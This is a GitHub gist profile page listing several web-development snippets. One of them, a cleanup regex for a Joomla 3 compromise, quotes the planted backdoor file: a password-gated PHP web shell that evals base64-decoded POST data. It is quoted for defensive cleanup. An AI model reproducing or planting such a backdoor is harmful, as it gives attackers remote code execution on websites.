Skip to content

Instantly share code, notes, and snippets.

View appsol's full-sized avatar

Stuart Laverick appsol

View GitHub Profile
@appsol
appsol / gist:c0c0776f6861d6562310
Created February 26, 2015 09:35
Regex to clean up Joomla 3 hack of administrator/components/com_joomlaupdate/
# The hack places the following file in administrator/components/com_joomlaupdate/config.php:
#
# <?php
# echo"trest";error_reporting(0);
# if(isset($_POST['com']) && md5($_POST['com']) == '66d18dc9cbd1b87d4460a2ce37d8e835' && isset($_POST['content'])) $kk = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($kk));
# echo"abrval";
# ?>
#
# This creates many files of a similar pattern throughout the Joomla install, e.g.
#
@appsol
appsol / gist:fb06403fbe31bd2038ad
Last active August 29, 2015 14:19
YouTube iFrame API Playlist
/**
* WP Video Playlists Plugin Main.js
* @version 0.3.0
* @param {window} w
* @param {jQuery} $
*/
(function(w, $) {
var setup = function setup()
@appsol
appsol / Contract Killer 3.md
Created November 24, 2016 17:18
The latest version of my ‘killer contract’ for web designers and developers

Contract Killer

The popular open-source contract for web professionals by Stuff & Nonsense

  • Originally published: 23rd December 2008
  • Revised date: March 15th 2016
  • Original post

@appsol
appsol / db-test.php
Last active April 24, 2018 09:45
PHP MySQL Test Connection
<?php
# Fill our vars and run on cli
# $ php -f db-test.php
$dbname = 'dbname';
$dbuser = 'dbuser';
$dbpass = 'dbpass';
$dbhost = 'dbhost';
$connect = mysqli_connect($dbhost, $dbuser, $dbpass) or die("Unable to Connect to '$dbhost'");
namespace App\Http\Middleware;
use Illuminate\Support\Facades\Log;
class LogAfterRequest {
public function handle($request, \Closure $next)
{
return $next($request);
}
@appsol
appsol / gist:493b1e2574327378e0de8bd185d1330d
Created November 30, 2018 10:10
Run Composer in Plesk using PHP 7.1
/opt/plesk/php/7.1/bin/php /usr/lib64/plesk-9.0/composer.phar install